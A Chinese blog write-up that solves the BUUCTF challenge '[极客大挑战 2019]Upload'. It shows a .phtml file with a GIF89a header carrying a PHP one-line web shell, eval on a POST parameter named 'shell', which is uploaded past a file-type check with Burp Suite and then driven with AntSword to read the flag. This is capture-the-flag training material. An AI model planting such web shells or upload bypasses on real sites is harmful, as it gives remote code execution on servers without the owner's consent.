CTF-Web-[极客大挑战 2019]Upload

被刻印的时光 ゝ 提交于 2020-05-03 20:07:40

CTF-Web-[极客大挑战 2019]Upload

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Web类,[极客大挑战 2019]Upload

image-20200503185408158

打开题目的实例

image-20200503185541064

思路

做一个phtml的文件

image-20200503191203100

将里面的内容改为一句话木马,为我们后面的蚁剑连接做准备

GIF89a
<script language="php">eval($_POST['shell']);</script> 

我们将它上传,使用bp截取,修改一下格式,再放行

image-20200503192426171

image-20200503192443531

蚁剑连接

我们使用蚁剑连接,猜测路径为upload

/upload/test.phtml

完整路径

http://3cc0c310-5536-49f0-8e10-1aca744981b8.node3.buuoj.cn/upload/test.phtml

密码就是我们在一句话密码里面写的

shell

image-20200503192737386

然后我们就进来了

image-20200503192931850

像这样的话直接找根目录,发现flag

image-20200503193109111

感谢

BUUCTF

以及勤劳的自己

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!